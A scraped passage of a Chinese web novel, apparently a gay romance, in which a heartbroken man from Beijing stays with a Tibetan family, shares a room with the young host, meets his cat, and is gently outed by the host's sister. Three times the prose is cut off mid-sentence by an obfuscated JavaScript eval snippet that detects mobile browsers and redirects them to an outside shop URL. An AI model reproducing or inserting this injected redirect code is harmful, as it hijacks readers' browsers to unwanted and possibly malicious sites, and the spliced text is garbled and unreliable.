沈翊愣了一下,耳根有些发烫。他低下头,小口小口地喝汤,心里那点因为吃撑而生的怨气,忽然就烟消云散了。 原来被当成“孩子”宠着,是这样的感觉。 他已经很久没体验过了。 睡觉前,尼玛旺堆带沈翊选房间。家里空屋子确实多,但大多没有取暖设备。高原的夜晚冷得彻骨,沈翊想了想,说:“我是跟你住一间吗?” 他说这话时其实有点忐忑,会不会太唐突?会不会显得自己太娇气? 但尼玛旺堆很自然地点头:“好啊。我房间大,再加一个人也够。” 房间确实不小,但三面墙都被书架占满了。书很杂,有藏文教材,汉语小说,还有不少看起来像佛.经的册子。床不是传统意义上的床,更像一个宽大的榻榻米,上面铺着厚厚的羊毛垫子。 尼玛旺堆从柜子里拿出单独被真空压缩袋收纳的干净的床上三件套,仔细铺好。他又抱来一床极其厚重的羊毛被,压在沈翊的被子上。 “晚上冷,你盖这个。”他说,“要是还冷,就叫醒我,我再给你加。” 沈翊试着抬了抬那床被子,真的非常重,压在身上估计翻身都困难。 “我怕我会热死。”他半开玩笑地说。 尼玛旺堆抬起头,表情很认真:“不会的。高原的冷,和内地的冷不一样。那是能冻到骨头里的冷。” 这时德吉次仁端着一个冒着烟的香炉进来,交给尼玛旺堆。尼玛旺堆接过去,先在沈翊的被窝里放了五分钟,又拿出来放进自己的被窝,最后把香炉端回客厅。 屋子里弥漫开一种奇异的香气,混合了草药和香料,闻着让人心神安定。 “睡吧。”尼玛旺堆说,“明天见。” 他钻进被窝,没过几分钟,就传来均匀的呼吸声,居然这么快就睡着了。 沈翊躺在陌生的被窝里,听着床头对面均匀的呼吸,一时有些恍惚。 二十四小时前,他还在北京那间充满背叛记忆的公寓里,抽着烟,思考着如何体面地毁掉自己的生活。二十四 小时后,他躺在西藏一个农家院的房间里,盖着厚重的羊毛被,听着一个刚认识一天的藏族青年的呼吸声。 命运这东西,真是荒诞得让人想笑。 他侧过头,看向窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182978|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 然后呼吸一滞。 那是他从未见过的星空。 在北京,夜晚的天空是暗红色的,被霓虹灯染成一片暧昧的光雾。偶尔能看见几颗最亮的星,像不小心溅上去的白漆点。 但在这里,天空是纯净的墨黑色。星星不是一颗一颗,而是一片一片,密密麻麻,挤满了整个视野。有些星星亮得惊人,仿佛伸手就能摘到。 沈翊摸出手机,想拍下来。但镜头里只有一片漆黑,手机的像素捕捉不到这种极致的美。 有些东西,注定只能存在于亲眼所见的记忆里。 就像有些痛苦,注定只能由亲身经历的人来消化。 江泽的脸忽然浮现在脑海里。不是出轨时那张狰狞的脸,而是他们刚在一起时,那个笑着说他“理性得可爱”的江泽。那时候他们挤在出租屋的小床上,江泽说:“沈翊,我们要一直在一起,等老了,就找个能看到星星的地方住。” 现在他看到了星星。 但许诺要一起看星星的人,已经躺在了别人的怀里。 沈翊把手臂搭在眼睛上。黑暗中,他能感觉到温热的液体渗进衣袖。 他以为自己在机场没哭,在客厅没哭,在飞机上没哭,就真的已经放下了。 原来没有。 疼痛只是迟到了,但它终归会来,在你最没有防备的时候,给你温柔一刀。 “这是我的错吗?”江泽的声音在耳边回响,带着愤怒和委屈,“你每天都在加班!你给过我什么?!” 也许真是他的错。也许他真的不够好,不懂浪漫,不会表达,把所有的爱都藏在理性克制的表象下,最终冻死了那段感情。 沈翊擦掉眼泪,深吸一口气。 不,不是这样的。 出轨就是出轨。不爱了可以分手,可以坦白,但不可以背叛。这是底线,无关对错,无关谁付出多谁付出少。 他反复告诉自己这句话,像念一句咒语。 但心里那个小小的声音还在问:那你现在在担心什么?担心他过得不好?担心他会被那个人伤害? 不是担心。 是习惯。 七年养成的习惯,要戒掉,需要时间。 他允许自己今晚软弱一次。仅此一次。 “喵~” 一声猫叫打断了他的思绪。 沈翊抬起头,借着手机屏幕的光,看见门口蹲着一只灰白相间的猫。那猫有一双金黄的眼睛,在黑暗里亮得像 两盏小灯笼。 它看了沈翊一眼,眼神里充满审视,带着一种“你谁啊凭什么在我家”的高傲。 然后它轻盈地跳上尼玛旺堆的床,在床尾转了几圈,找到一个舒服的位置,蜷成一团,闭上了眼睛。 整个过程行云流水,理所当然。 沈翊看着它,忽然笑了。 这猫和这家人真像,不跟你客气,不跟你寒暄,想做什么就做,但那份亲近又是实实在在的。 他关掉手机,重新躺下。 黑暗里,传来猫咪轻微的呼噜声,还有尼玛旺堆均匀的呼吸声。两种声音交织在一起,像一首奇异的安眠曲。 沈翊闭上眼。 窗外,星光流淌。 屋内,两个陌生人,一只猫,共享着同一片温暖的黑暗。 他忽然觉得,也许明天醒来,一切都会好一点。 哪怕只好一点点。 也够了。 清晨是被鸡鸣叫醒的。 沈翊迷迷糊糊睁开眼,有那么几秒钟的茫然。这是哪儿?为什么天花板是木头的?为什么这么冷? 然后记忆回笼。 他坐起身,发现对面的铺位已经空了。尼玛旺堆的被子叠得整整齐齐,方方正正,像军营里出来的。 正要下床,大腿边传来一阵毛茸茸的触感。 沈翊掀开被子。 那只灰白猫正蜷在他腿边,睡得正香。听见动静,它不耐烦地睁开一只眼,瞥了沈翊一眼,又闭上了。那表情 仿佛在说:吵什么吵,没看见朕在睡觉吗? 沈翊愣住。 昨晚那个高冷得连正眼都不给一个的猫呢? 怎么睡了一觉,就自动跑到他被窝里来了? 他坐在床边,看着那只毫无防备的猫,又看看窗外渐渐亮起来的天光。 院子里传来尼玛旺堆打水的声音,阿妈米玛啦低声诵经的声音,远处不知谁家的狗叫了两声。 新的一天开始了。 在这个离北京三千多公里、离过去二十七年的生活三千公里的地方。 沈翊伸出手,轻轻摸了摸猫的脑袋。 猫没躲,只是喉咙里发出更响的呼噜声。 他笑了。 也许,真的会好起来的。 6. 被发现是gay 沈翊试着动了动,小猫只敷衍地打了个哈欠,伸了个极尽绵长的懒腰,尖细的指甲在羊毛被上勾出几道浅浅的白痕,然后换了个更舒坦的姿势,把脑袋往他臂弯里一埋,又没了动静。 沈翊僵着,有点想笑,又有点无可奈何。 这猫……脸皮倒是挺厚。他记得昨晚它那副高冷模样,蹲在门口审视他时,金黄瞳仁里写满了“生人勿近”的疏离,与此刻这副赖床要无赖、恨不得嵌进他体温里的样子判若两样。 他静静躺了一会儿,听着小猫呼噜的节奏,竟奇异地感到一丝安宁。直到窗外传来压低的咳嗽声和人走动的声响,他才小心翼翼地,一点点从猫的身子底下挪出来。 冷空气立刻侵袭了温暖的被窝。他迅速把被褥边缘仔细掖好,给那只“猫大爷”留了个暖和的巢穴,这才起身穿衣。 推开房门,清冽的空气扑面而来,带着雪后特有的干净气味,里面还混杂着一丝若有若无的、燃烧干牛粪的烟火气。 而尼玛旺堆正背对着他,用力甩着头。他大概刚在外面忙活过,浓密的黑发上沾着未化的雪粒,随着他甩头的动作,在晨光里溅开一片细碎的、亮晶晶的星子。那动作充满了蓬勃的、不加掩饰的生命力,让沈翊莫名想起曾经在短视频里刷到的那些从河水中跃出、甩着浑身水珠、每一根毛发都洋溢着纯粹快乐的金毛犬。纯粹,直接,生机勃勃。 听到身后轻微的脚步声,尼玛旺堆转过身来,他的脸颊和鼻尖冻得微红,眼睛却亮得很。“哥,醒了?”他摘下厚厚的手套,朝着掌心呵出一口白气,那白起又被寒风吹走了,“小猫是不是又跑你那儿去了?” 沈翊侧身,让他看屋里那张床上隆起的一小团毛茸茸的轮廓。“岂止是去了,差点把我当暖炉,不让走。”他的语气里带着自己都没察觉的、微弱的抱怨和纵容。 尼玛旺堆笑起来,眼角的纹路显得格外生动。 他几步跨进屋里,带着一身室外的寒气,蹲在床边。那只猫似乎感应到“危险”,耳朵尖动了动,把头埋得更深。尼玛旺堆伸出刚刚在外面冻得泛红的手指,精准地、带着点恶作剧意味地,一下子探进猫最温暖柔软的肚皮底下。 “喵——嗷!”猫几乎是弹起来的,浑身的毛都炸开了一圈,圆睁着那双金色的眼睛,对着尼玛旺堆发出不满的哈气声。 尼玛旺堆毫不在意,甚至低低笑出了声。他用还带着凉意的食指轻轻刮了一下猫湿润的粉鼻子,“你个小调皮,占客人便宜倒是挺快。” 他的动作很轻,声音压得低低的,有种与高大身形不符的温柔与宠溺。 沈翊站在门口,看着这一幕。清晨的光线从门框斜斜切入,在尼玛旺堆专注的侧脸和猫炸开的绒毛上勾勒出一道柔和的光亮。他心里某个角落微微一动,像被猫那毛茸茸的尾巴尖不经意地扫过,痒痒的,酥酥的,那感觉转瞬即逝,却留下了一点清晰的、陌生的温度。 “它好像不太怕人。”沈翊说,目光落在重新蜷缩起来、但竖着耳朵保持警惕的猫身上。 “假的。”尼玛旺堆毫不留情地揭穿,站起身,拍了拍沾在裤腿上的几根猫毛,“它也就迷糊的时候,或者天冷找热源的时候蹭上来。等它完全清醒,跑得比谁都快,想摸都摸不着。”他顿了顿,看向沈翊,很认真地补充,“哥,你可别被它骗了。农村嘛,猫得保持点儿野性和警惕,才能活得自在。” “对了,哥,昨天睡得好吗?”尼玛旺堆一边整理着旁边小柜上散落的书籍,一边很自然地问。 沈翊顿了顿。他不想说谎,尤其是在这种毫无伪饰的关切面前。“有点没睡踏实,可能突然换了环境。”他省略了半夜因为想起往事而亮起手机,以及后来听到猫叫才分散了注意力的事情。 尼玛旺堆却了然般地“哦”了一声,嘴角弯起一个了然的弧度,“怪不得。半夜小猫挠门进来那会儿,我看见你那边有手机光晃了一下。” 沈翊:“……” 一种被看穿、却又并非恶意的尴尬瞬间攫住了他。他下意识地攥了攥手指,指尖微微发烫。“你……那时候也没睡?” “习惯了。”尼玛旺堆把几本书摞齐,语气平淡,“它差不多都是那个点儿来。有时候是我醒了给它开门,有 时候它自己从窗户缝钻进来。好几年了,生物钟都跟着它调了。”他伸出手比划了一个“六”的手势,想了 想,又似乎不确定地曲起两根手指,变成了“八”。 这个微小的、关于时间记忆的模糊,让沈翊心里那点尴尬忽然散了,取而代之的是一种难以言喻的情绪。在这个远离尘嚣的院落里,人与猫,与土地,与季节,仿佛有一套自成体系、紧密相连的呼吸节奏。而他,一个闯 入者,正笨拙地试图调整自己的频率。 他们来到生着火炉的主屋。阿妈米玛啦已经不在屋里,只有德吉次仁坐在火炉边,正小口喝着酥油茶,面前的矮桌上摆着一碗吃了一半的糌粑。见到他们,她抬了抬下巴,用汉语说:“我今早就回去。” 她的语气很直接,仿佛在陈述一个与天气无关的事实。尼玛旺堆立刻用藏语回了一句什么,语速很快,尾音微微上扬,带着疑问。 德吉次仁放下木碗,也用藏语回答。 她的声音比弟弟低一些,语速平稳,但沈翊能听出其中些许的无奈和斩钉截铁。两人你来我往了几句,尼玛旺堆的眉头渐渐蹙起,声音里也带上了明显的焦躁和一丝不易察觉的怒气。他虽然听不懂具体内容,但“阿妈”这个词反复出现,还有德吉次仁手势中流露出的那种“我也没办法”的疲惫。 沈翊安静地站在一旁,看着跳跃的火光映在姐弟俩轮廓相似的侧脸上。 语言成了一堵透明的墙,他能看到墙那边的情绪涌动,却触摸不到具体形状。这种隔阂感并不陌生,在他过去的许多关系里都存在,但此刻,在这充满烟火气的屋子里,这种隔阂不再令人疏离,反而让他更清晰地意识到自己“客人”的身份,以及这个家庭内部正在流动的、与他无关却切实存在的忧虑。 最终,尼玛旺堆像是妥协了,又像是把某种情绪强行压了下去。他转身从柜子里拿出一个干净的瓷碗,动作有些重地舀了糌粑,又浇上一勺浓稠的酸奶,混合好,递给沈翊,示意他坐到昨晚的位置。“先吃点东西,哥。”他的汉语恢复了平时的温和,但眼底残留着一丝未散的阴霾。 德吉次仁看着弟弟这一连串的动作,尤其是那份明显区别于待客常规的、带着熟稔和照顾意味的糌粑碗,眉毛轻轻一挑。她拿起昨晚剩下的一个“藏式肉包”,慢条斯理地掰开,用汉语说,声音不大,却足够清晰:“旺堆,你这伺候得,跟养个小媳妇似的。” 空气静了一瞬。 尼玛旺堆正在倒酥油茶的手顿了顿,随即无奈地看向他姐姐,眼神里写满了“你又来了”。他放下茶壶,也用汉语,声音清晰,几乎像是专门说给某人听:“阿姐,我只是不喜欢女生,也不喜欢男生而已。你别乱说。” “今天刚好是知道自己被绿的第三天。”这个念头毫无预兆地、尖锐地划过沈翊的脑海,带来一阵熟悉的钝痛。他捏着木勺的手指微微收紧,指节泛白,但脸上却条件反射般地挂起一个习惯性的、温和的笑。“没事的。”他说,声音平稳得自己都惊讶。 德吉次仁的目光轻飘飘地落在沈翊脸上,那眼神清澈得近乎锐利,仿佛能穿透一切社交性的伪装。她放下手里的食物,忽然向前倾了倾身,压低了声音,却依然让每个字都清晰可辨:“虽然这么问可能不太礼貌……但我 感觉,你是这个。”她的右手食指,在空气中轻轻弯了一下。 那个简单的手势,像一颗小石子投入沈翊刚刚努力维持平静的心湖,“咚”的一声,涟漪乍起。他瞳孔微缩,一时之间,惊讶于对方惊人的直觉,还是惊讶于她如此直白、甚至有些莽撞的求证方式,竟分不清楚。他下意识地看向尼玛旺堆,对方正皱着眉,伸手虚虚地拦在德吉次仁前面,语气是熟稔的抱怨:“看,哥,我就说她 老说些奇怪的话。你别理她。” 沈翊的目光从尼玛旺堆无奈的脸上,移回德吉次仁那里。她用口型无声地对他说了句什么,看形状像是“我懂”。然后她耸耸肩,恢复了那副略带散漫的样子,摊手道:“好吧好吧,我写过点乱七八糟的东西,观察力可能……嗯,比较发散。”她含糊地带过,又瞥了弟弟一眼,“不过某些人的特质,倒是现成的素材,虽然没用上。” 尼玛旺堆显然对他姐姐的“写作事业”兴趣缺缺,转身去给火炉添柴,语气重新变得务实:“你什么时候走?等阿妈回来?” “嗯,跟阿妈说一声就走。”德吉次仁看了眼手机。 沈翊手里那碗糌粑还没动。他并非不喜欢,只是对着这团紧密扎实的食物,有点不知从何下口。德吉次仁自然地伸手接了过去,“吃不惯这个?让旺堆给你弄点别的,昨晚的摸摸热一下也行。”她的态度自然极了,仿佛刚才那个石破天惊的提问从未发生。 “谢谢。”沈翊松了口气,真心实意地道谢。 尼玛旺堆出去了,大概是去厨房。 屋子里只剩下火苗噼啪的轻响,和两个一时无话的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182979|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德吉次仁没有继续吃,而是用手指轻轻摩挲着温热的木碗边缘。过了一会儿,她抬起头,看向沈翊,这次目光里没有了之前的戏谑或试探,只剩下一种平静的坦诚。 “你是弯的,对吧。”这次不是疑问,而是陈述。 沈翊迎着她的目光。逃避或否认在此刻显得毫无意义,也辜负了对方这份奇特的直接。他点了点头,同样平静地回答:“是。” 德吉次仁似乎也松了口气,她抬手,有些不好意思地搓了搓自己的后脖颈。“那个……我得跟你道个歉。虽然真不是故意的。”她放下手,坐直了身体,双手合十,朝沈翊微微弯了弯腰,态度郑重得让沈翊有些无措。 “今天早上,我去旺堆房间的书柜找份旧文件,不小心碰掉了东西,连带着把你放在桌上的手机……也碰亮了。”她语速加快了一些,但每个字都说得很清楚,“屏保……我看到了。我当时急着找东西,又有点慌,没来得及帮你把手机放回原处,也没把弄乱的书完全复原……真的非常对不起。” 沈翊愣住了。他昨晚情绪低落,确实不记得手机最后放在了哪里。他预想过很多种被察觉的可能性,却唯独没想到是这样一种意外,以及这样一份郑重其事的道歉。在他过去的世界里,窥探、掩饰、心照不宣才是常态。如此直白的“看见”和如此诚恳的“道歉”,陌生得让他心头泛起一阵复杂的酸软。 “没关系,”他听到自己说,声音比想象中更温和,“你又不是故意的。” 德吉次仁这才直起身,重新坐回垫子上,距离比刚才近了一些。她看着沈翊,眼睛里闪烁着纯粹的好奇,还有一种近乎专业的探究欲。“那……如果我说,我有点好奇你的故事,你会讲吗?” 沈翊垂下眼,扯了扯嘴角,一个没什么笑意的弧度。“没什么精彩的故事。”他说的是实话,那段关系如今回想起来,只剩下背叛的狼狈和自我的怀疑,并无任何值得诉说的浪漫或纠葛。 德吉次仁的第六感敏锐得吓人。“分手了?还是……被绿了?”她问得直接,甚至有些残酷的精准。 沈翊猛地抬眼,撞进她清澈的眸子里。半晌,他苦笑了一下,“……你是怎么猜到的?” “这个。”德吉次仁拿出自己的手机,快速点开一个绿色的写作软件,在沈翊眼前晃了一下,又立刻锁屏,用手掌严严实实地盖住了屏幕上方。“里面那个没几个读者、也没签上约的倒霉作者就是我。”她自嘲地笑了笑,眼神却亮晶晶的,“可能写东西的人,总爱瞎琢磨人,瞎联想,瞎总结。见得多了,或者编得多了,对某些信号就特别敏感。” 沈翊注意到她下意识遮挡笔名和书名的动作,那是一种下意识的保护姿态。他理解那种在保守环境里,守护自己一方精神天地的谨慎,甚至有点羡慕她如此明确地知道自己要什么。 “就算现在,”德吉次仁收起手机,目光投向窗外积雪的院子,声音低了下来,“社会好像开放了很多,可还是有人会被那些看不见的规矩、别人的眼光,折磨得生不如死,我是个不婚主义者,害……”她的话里带着一种超越年龄的疲惫和洞悉。 沈翊沉默着。他第一次如此直观地看到一个生长于这片传统土地上的年轻人,内心所经历的拉扯与矛盾。她接受他,写耽美小说,宣称不婚,但又对家族的期待、母亲的健康充满焦虑和责任感。这种矛盾如此鲜活地具象化在她身上。 “那你呢?”沈翊终于问出了盘旋在心头的问题,声音很轻,“你为什么能接受这些,甚至……还有动力把它们写出来?” 德吉次仁转过头,看向他,忽然笑了笑,那笑容里有些复杂的东西,像是无奈,又像是某种坚持。 “大概因为……”她顿了顿,像是在寻找合适的词语,“我总觉得,人只活一次,看清楚自己心里真正想要什么,比什么都重要。就算那东西和别人不一样,就算路会很难走。”她的目光越过沈翊,似乎看向了更远的地方,“写出来,就像是在告诉自己,也告诉可能存在的、和我一样的正在迷茫的人。你看,这种感情是存在的,这种人生是可能的。哪怕只是在我编的故事里。” 火炉里的柴火发出“哔剥”一声轻响,爆出几点火星。屋外传来尼玛旺堆和阿妈米玛啦用藏语交谈的声音,由远及近。晨光已经完全驱散了庭院的薄雾,雪地反射着耀眼的白光。 沈翊没有说话。他坐在温暖的屋子里,听着陌生的语言,看着眼前这个有着金色头发、内心却充满风暴的藏族女孩,第一次觉得,自己那场狼狈的逃离,或许真的能让他触碰到一些截然不同、却坚实有力的东西。 7. 体验藏式生活 德吉次仁苦笑着摆了摆手,那笑容里有种认命般的自嘲。“所以我弟总说我脑子有问题,想太多不切实际的东西。” 她越是这么说,沈翊心头那点好奇的火苗却窜得更高。他忽然起了点玩笑的心思,虚握起拳头,像举着话筒似的递到她面前,语气也带上了几分刻意的采访腔:“那么,德吉次仁女士,关于你这份‘浪漫主义’的觉醒, 第一次‘接触’相关概念时,内心是怎样的风暴?请分享一下。” 德吉次仁被他的动作逗乐了,很配合地清了清嗓子,眼里闪着光。“源头嘛,得归功于动漫小说。早年那些古早日漫就不提了,但有一部国漫,我当时就觉得里面那个跟男主有婚约的女角色特别碍事。”她顿了顿,似乎还在回味当时那种微妙的不爽,“就为这个,我脑子里自己跟自己辩论了八百回合。最后结论就是,管他呢?人只活这么一回,自己觉得幸福不就行了?爱上男的,爱上女的,只要不伤天害理,关别人什么事?”她看向沈翊,眼神变得认真了些,“而且,我觉得没人天生就想当‘异类’,谁都不想仅仅被一个标签定义。‘同性恋’这个词,有时候听起来就像把人钉在了一个框里。” 沈翊若有所思地点点头。在他过往的人生里,这个“框”带来的压力实实在在,是家庭决裂的导火索,是深夜 自我怀疑的根源。他接着问:“那你周围,和你年纪差不多的,都这么想吗?” “少部分吧。”德吉次仁立刻摇头,回答得干脆,“大部分还是跟着老一辈的观念走,或者干脆不想这些,该结婚结婚。但我弟……”她叹了口气,那口气里混杂着心疼和无奈,“他是个特例。他觉得自己不喜欢女生,但又坚定地认为这是一种‘病’,是一种‘奇怪’的思维。我想帮他,想告诉他这很正常,可他……”她耸耸肩,吐出四个字,“油盐不进。” 沈翊听得有些愕然。这对姐弟的思维模式,确实总在出人意料的地方拐弯。“那他有没有可能……”他谨慎地挑选着措辞,“只是还没遇到,或者没意识到?” “天晓得。”德吉次仁往后靠了靠,手肘支在膝盖上,“你也看到了,他浑身上下每个毛孔都散发着‘直男’气息,还是特别固执的那种。”她想起什么,脸上露出又好气又好笑的表情,“我把我珍藏的耽美小说推荐给他,本意是想潜移默化,让他看看这种感情的世界是什么样。结果你猜他看完说什么?他说:‘故事挺有创意的,就是怎么没有女主角?怪怪的。’” 她模仿着尼玛旺堆那副认真困惑的语气,沈翊没忍住,嘴角抽动了一下。 “我当时真想敲开他脑袋看看里面装的什么!”德吉次仁做了个捶打的动作,“我耐着性子跟他解释,这是讲两个男人相爱的故事。他看着我,那眼神就像看一个突然开始说外星语的傻子。”她摊手,“从那以后,我在他心里的形象,估计就跟‘不正常’三个字锁死了。” 沈翊一时不知该作何评价。他理解德吉次仁想帮助弟弟的心情,但也隐隐觉得,性取向这种事,外人哪怕是至亲的“推动”往往适得其反。 他迟疑了一下,还是问道:“你弟弟看起来……确实不像。你为什么这么执着于让他‘走向’这条路呢?这条路,并不容易。”最后一句,他说得很轻,带着自己切身的体会。 德吉次仁沉默了片刻,炉火的光在她侧脸上跳动。再开口时,她的声音低了下去,带着一种深沉的、超越年龄的疲惫。 “我是不婚主义者。这意味着,我大概率不会有自己的孩子。”她抬起眼,看向沈翊,“我弟他,不只是‘不喜欢’女生那么简单。有段时间,他几乎到了恐惧和异性接触的地步,把自己关在屋里,谁叫都不出来。我看在眼里,急在心里。那时候我就想,既然他无法和女孩相处,那……喜欢男孩,或许对他而言,反而是条能走下去的路?至少,那样的话,等我老了,走了,世界上还会有另一个人能陪着他,照顾他。” 她扯了扯嘴角,露出一个极淡、几乎看不见的苦笑:“只要我活着,我总能护着他。可我死了以后呢?当姐姐的,大概就是想太多这些‘以后’。”她轻轻吁了口气,像是要把这份沉重的忧虑吐出来,“下辈子,得让他来当我哥才行。” 沈翊愣住了。他从未从这个角度思考过“兄弟姐妹”的意义。独生子女的成长背景,让他习惯了孤独地面对一切,承担一切,也失去一切。德吉次仁这番话,让他第一次如此具体地感受到,那种血脉相连的、近乎本能的守护欲,是如此幸福,又是如此沉重。他不由得开始好奇,尼玛旺堆身上到底发生过什么,让他对异性接触产生那样强烈的抗拒? 就在这时,门帘被掀开,尼玛旺堆拿着锅铲探进头来,带进一股厨房的烟火气。他看着还在聊天的两人,语气有点催促:“阿姐,你不是要赶路吗?还不去收拾?” 德吉次仁立刻收起脸上那一闪而过的沉重,换上惯常那副略带戏谑的表情。她利落地起身,经过尼玛旺堆身边时,飞快地比了个不太雅观的手势,还用脚尖轻轻踢了下他的小腿。 尼玛旺堆:“……” 他露出一副“这姐姐没法要了”的无奈表情,摇了摇头,走进来把锅铲放在火炉边温着。然后,他拿出一个干净的碗,从旁边锅里舀出几个热腾腾的“藏式肉包”,放到沈翊面前的小桌上:“哥,尝尝这个,昨晚剩的,我热过了。要辣椒吗?” 沈翊摇摇头:“想是想,但不太能吃辣。” 尼玛旺堆没说什么,转身出去,很快又回来,手里端着一个藏式木碟,里面堆着深褐色的、油亮亮的牛肉干。 他把碟子放在沈翊手边,又递过来一把造型古朴的银柄藏刀。“哥,边吃边尝尝这个。自家晒的,干净。纯天然,不过,”他顿了顿,似乎觉得接下来的话有点好笑,“可能偶尔会有点‘大自然的馈赠’,比如没剔干净的草籽什么的。” 沈翊正用筷子夹起一个“藏式肉包”送进嘴里,闻言只能点点头表示听见了。他放下筷子,小心地接过那把沉甸甸的藏刀。银质的刀柄被打磨得温润光滑,上面镌刻着繁复的花纹,握在手里有种冷冽而坚实的感觉。他一边感叹着手工艺的精湛,一边好奇地想着,所谓的“大自然的馈赠”,体验起来究竟如何。 他很快吃完了那几个藏式肉包,胃里有了暖实的饱足感。见尼玛旺堆和德吉次仁似乎还有话要说,阿妈米玛啦也没回来吃饭,他觉得自己干坐着有些尴尬,便借口去洗手间,起身离开了房间。 走出屋子,清冷的空气让他精神一振。 他刚在院角的水龙头边站定,就见阿妈米玛啦转着经筒,从不远的佛塔方向缓缓走回来。老人看见他,脸上立刻露出慈祥的笑容,停下脚步,用手对着屋子方向比划了一个“吃”的动作,又指了指他,眼神关切。 沈翊正琢磨着该怎么回应,德吉次仁从门里探出头来,看到她阿妈的动作,“噗嗤”一声笑了出来。“我妈让你再吃二十个摸摸,”她忍着笑翻译,“她觉得你太瘦了,风一吹就能跑。” 沈翊顿时感到一股甜蜜的“压力”。被这样直白而质朴的关怀包围,他有些不习惯,心里却暖烘烘的。回到屋里,他只好在阿妈米玛啦慈爱目光的注视下,硬着头皮又塞了两个藏式肉包,感觉自己像个被填喂的某种小动物。 这时,尼玛旺堆也回来了,很自然地拿起沈翊的茶碗,给他重新斟满滚烫的酥油茶。沈翊看着那快溢出来的碗,心里默默哀叹:照这个节奏,他离开西藏时,恐怕真得圆润几圈。 饭后,德吉次仁动作麻利地收拾好自己的小包。沈翊注意到,阿妈米玛啦不知何时拿来了一个鼓鼓囊囊的布袋子,看提着的架势分量不轻。老人默不作声地把袋子放进德吉次仁车子的后座,两个正在话别的孩子都没察觉。 临上车前,德吉次仁摇下车窗,对站在一旁的沈翊说:“你要是出来散心的,跟着我弟过几天真正的乡下日子也不错。忙起来,就没空想那些糟心事了。”她停顿了一下,目光在沈翊和走向摩托车的弟弟身上转了一圈,声音压低了些,带着某种预感和告诫,“不过……希望你别喜欢上他。” 沈翊心头莫名一跳,下意识反问:“为什么?” 德吉次仁张了张嘴,似乎想说什么,但最终只是摇了摇头,扯出一个有点复杂的笑容。“没什么。走了!”她挥挥手,发动了车子。 沈翊站在原地,看着那辆小车扬起些许尘土,逐渐消失在土路的尽头。一种怪异的感觉萦绕心头。这个染着金发、思想前卫、声称会被“封建亲戚”骂死的女孩,同时又是个不婚主义者,却对家庭和弟弟有着如此传统而深沉的牵绊。 她本身就像一个矛盾的集合体,短短几天,沈翊自知无法看透。但至少,他感觉她并非被负面情绪压垮的人,或许正是这种内在的冲突与坚持,才让她成了别人眼中“奇怪”却格外鲜活的存在。 直到车影完全看不见,尼玛旺堆才转过头问:“哥,你今天想去市里逛逛吗?我可以送你去,晚上九点前再去接你。” 沈翊几乎没怎么考虑就摇了摇头。他逃离的就是那种高楼大厦、车水马龙的生活。“我想……体验一下你平时的生活。”他看着尼玛旺堆,补充道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182980|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就跟着你。” 尼玛旺堆眼中掠过一丝清晰的讶异,随即消散,似乎确认般又问了一遍:“跟我?” “嗯。”沈翊点了点头,鼻腔里发出一声短促的应和。 一旁的阿妈米玛啦用藏语对尼玛旺堆叮嘱了几句,尼玛旺堆也低声回应着。老人听完,点了点头,没再多说,转身慢慢走回屋里。 尼玛旺堆走到院子角落的车库,推出那辆略显粗犷的摩托车,仔细检查了一下胎压和油表。他回头看向沈翊: “哥,真吃饱了?路上可没地方买东西。” 沈翊脑海里立刻浮现出阿妈米玛啦慈祥而充满“压迫感”的劝食目光,不由摸了摸肚子,肯定道:“非常饱。”他甚至觉得,下次再看到阿姨那种眼神,自己可能会条件反射地想躲,一种充满善意的“恐惧”。 “那行,”尼玛旺堆踩下启动杆,发动机发出沉闷有力的轰鸣,“看看有啥要带的?我们去田里那边转转。” 沈翊摇头,他来时就一个行李箱,外出更懒得带东西。 尼玛旺堆跨上摩托车,像是突然想起什么:“围巾有吗?” “有,我去拿。”沈翊转身快步回屋。 尼玛旺堆单脚支地,停在原地。他摸出手机,手指快速滑动,回复了几条关于野生动物保护公益活动的信息。紧接着,一个电话打了进来。他接起,听着对方说话,眉头渐渐拧紧,嘴唇抿成一条直线。直到挂断,他都没说一句话,只是脸色明显沉了下来,盯着手机屏幕,眼神有些发冷。 沈翊拿着围巾出来时,看到的就是他这幅闷闷不乐的样子。青年高大的身躯跨在摩托上,却微微佝偻着,像被什么无形的东西压住了肩膀。沈翊晃了晃手中的围巾:“现在走?” 尼玛旺堆像是猛然回神,迅速收起手机,点了点头,示意他上车。 沈翊小跑到车边,一边把围巾往脖子上绕,一边顺口问:“你不用?” 尼玛旺堆已经重新握住了车把,闻言转过头,伸手把他胡乱缠着的围巾拉下来,重新展开,仔细地、一层层地 绕好,又替他拉高了外套的领子,掖了掖帽檐。动作自然得仿佛做过无数次,带着一种不容置疑的细心。 